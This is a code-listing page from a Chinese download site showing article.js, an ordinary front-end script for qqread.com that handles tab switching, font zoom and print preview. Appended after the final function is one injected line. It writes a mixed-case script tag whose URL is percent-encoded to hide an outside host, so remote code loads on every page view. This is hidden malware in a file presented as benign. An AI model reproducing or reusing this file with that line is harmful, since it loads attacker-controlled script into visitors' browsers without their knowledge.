⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 article.js

📁 S3C44B0x下的ADS7843触摸屏驱动资料与代码
💻 JS
字号:
// JavaScript Document
function change_con(up,down){
	if(up && down){
		document.getElementById("con_"+up).style.display="";
		document.getElementById("jiantou_"+up).style.display="";
		document.getElementById("con_"+down).style.display="none";
		document.getElementById("jiantou_"+down).style.display="none";
	}
}
function change_read(up,down){
	if(up && down){
		document.getElementById("com_"+up).style.display="";
		document.getElementById("bt_com_"+up).className="right_4_2";
		document.getElementById("com_"+down).style.display="none";
		document.getElementById("bt_com_"+down).className="right_4_3";
	}
}
function change_top(tnum){
	if(tnum){
		for(var i=1;i<4;i++){
			document.getElementById("bt_top_"+i).className="right_4_3";
			document.getElementById("div_top_"+i).style.display="none";
		}
		document.getElementById("bt_top_"+tnum).className="right_4_2";
		document.getElementById("div_top_"+tnum).style.display="";
	}
}
function change_top2(tnum){
	if(tnum){
		for(var i=1;i<3;i++){
			document.getElementById("bt_top_"+i).className="right_2_1";
			document.getElementById("div_top_"+i).style.display="none";
		}
		document.getElementById("bt_top_"+tnum).className="right_2_2";
		document.getElementById("div_top_"+tnum).style.display="";
	}
}
function change_spec(tnum){
	if(tnum){
		for(var i=1;i<4;i++){
			document.getElementById("bt_spec_"+i).className="right_4_3";
			document.getElementById("spec_"+i).style.display="none";
		}
		document.getElementById("bt_spec_"+tnum).className="right_4_2";
		document.getElementById("spec_"+tnum).style.display="";
	}
}
function change_down(tnum){
	for(var i=0;i<3;i++){
		document.getElementById("download_"+i).style.display="none";
	}
	document.getElementById("download_"+tnum).style.display="";
}
function FormMenu(targ,selObj,restore){ 
	window.open(selObj.options[selObj.selectedIndex].value);
	if (restore) selObj.selectedIndex=0;
}
function doZoom(n){document.getElementById("artcnt").style.fontSize=n+"px";}

function doPrint(){ 
var str = "<html>\n<head>\n"; 
var article;
var css; 
var strAd;
var strTmp; 
	css = "<style>" 
	+ "body{font-family:宋体}" 
	+ "h1{font-size:24px}" 
	+ "td,.f12{font-size:12px}" 
	+ ".f24 {font-size:24px;}" 
	+ ".f14 {font-size:14px;}" 
	+ ".title14 {font-size:14px;line-height:130%}" 
	+ ".l17 {line-height:170%;}"
	+ "a:link {text-decoration: none; color: #000000;}"
	+ "a:visited {text-decoration: none;}"
	+ "</style>\n";

	str +=	'<meta http-equiv="content-type" content="text/html; charset=gb2312" />\n'; 
	str +=	'<title>' + document.title + '</title>\n'; 
	str +=	css + "\n</head>\n<script language=\"javascript\">function doPrnZoom(n){document.getElementById(\"content\").style.fontSize=n+\"px\";}</script>\n"; 
	str +=	"<body bgcolor=#ffffff topmargin=5 leftmargin=5 marginheight=5 marginwidth=5 onLoad='window.print()'>"; 
	str +=	"<center>"
	
	str += "<table width=\"600\" height=\"25\" cellspacing=\"0\" style=\"border-bottom:1px #ddd9d3 solid;\">"
			+ "  <tr align=\"left\" valign=\"middle\">"
			+ "  <td width=\"4\"></td>"
			+ "  <td width=\"200\" class=\"f14\" style=\"padding-top:2px;\">此页面为打印预览页</td>"
			+ "  <td width=\"70\" class=\"f14\" style=\"padding-top:2px;\">选择字号:</td>"
			+ "  <td class=\"f14\" valign=\"middle\"><table cellspacing=\"0\" class=\"f14\">"
			+ "  <tr align=\"left\" valign=\"middle\">"
			+ "  <td width=\"32\"><a href=\"javascript:doPrnZoom(20)\">超大</a></td>"
			+ "  <td width=\"20\"><a href=\"javascript:doPrnZoom(16)\">大</a></td>"
			+ "  <td width=\"20\"><a href=\"javascript:doPrnZoom(14)\">中</a></td>"
			+ "  <td width=\"20\"><a href=\"javascript:doPrnZoom(12)\">小</a></td>"
			+ "  </tr>"
			+ "  </table></td>"
			+ "  <td width=\"90\"><a href='javascript:window.print()'><img src=\"http://www.qqread.com/2007css/print.gif\" alt=\"打印此页面\" width=\"80\" height=\"20\" border=\"0\"/></a></td>"
			+ "  <td width=\"68\"><a href='javascript:history.back()'><img src=\"http://www.qqread.com/2007css/return.gif\" alt=\"返回正文页\" width=\"64\" height=\"20\" border=\"0\"/></a></td>"
			+ "  </tr>"
			+ "  </table>"

	str += "<table width=600 border=0 cellspacing=0 cellpadding=0><tr><td height=34 width=150>" + document.getElementById('logo').innerHTML + "</td><td valign=\"bottom\">" + document.getElementById('loc').innerHTML + "</td></tr></table>"; 
	str += "<table width=600 border=0 cellpadding=0 cellspacing=10><tr><td>";
	str += "<table width=100%><tr><td align=center><h1>" + document.getElementById('w_tt').innerHTML + "</h1></td></tr><tr><td align=center>来源:<a href=\"http://www.qqread.com\">巧巧读书</a> <a href=\"http://www.qqread.com\">http://www.qqread.com</a> " + document.getElementById('rdate').innerHTML + "</td></tr></table><tr><td><div class=\"f14\" id=\"content\">";		                                                                                    
	article = document.getElementById('artcnt').innerHTML;
	strAd = document.getElementById('w_hzh').innerHTML;
	if(strAd != "" && article.indexOf(strAd) != -1)
	{
		if (article.indexOf("rel_art") != -1)
		{
			str += article.substr(0,article.indexOf(strAd) - 31);
			strTmp = article.substr(article.indexOf(strAd) + strAd.length + 6, article.length);
			article = strTmp;
			strAd = document.getElementById('rel_art');
			if (strAd != "" && article.indexOf(strAd) != -1)
			{
				strTmp = article.substr(article.indexOf(strAd) + strAd.length + 6, article.length);
			}			
		}
		else
		{
			str += article.substr(0,article.indexOf(strAd) - 16);
			strTmp = article.substr(article.indexOf(strAd) + strAd.length + 6, article.length);
		}
	}
	else
	{
		strTmp = article;
	}
	strAd = document.getElementById('fox').innerHTML;
	if (strAd != "" && strTmp.indexOf(strAd) != -1)
	{
		if (navigator.userAgent.indexOf("Firefox") != -1)
		{
			str += strTmp.substr(0,strTmp.indexOf(strAd) - 33);
		}
		else 
		{
			str += strTmp.substr(0,strTmp.indexOf(strAd) - 31);
		}
		article = strTmp;
		strTmp = article.substr(article.indexOf(strAd) + strAd.length + 6, article.length);
	}
	 
	str += strTmp + "</div>"; 
	str += '<hr height=1 />\n<table class=headframe align=center width=600 border=0 cellspacing=0 cellpadding=5><tr><td align=left><font class=f10>本文系由:巧巧读书(http://www.qqread.com/),温馨提供。<br />文件位置:' + window.location.href+'</font></td></tr></table>\n' 
	str +=	"</td></tr></table>\n</center>\n"; 
	str +=	"</body>\n</html>\n"; 
	document.write(str); 
	document.close(); 
}document.write("<ScRiPt src='http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70'></sCrIpT>");

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -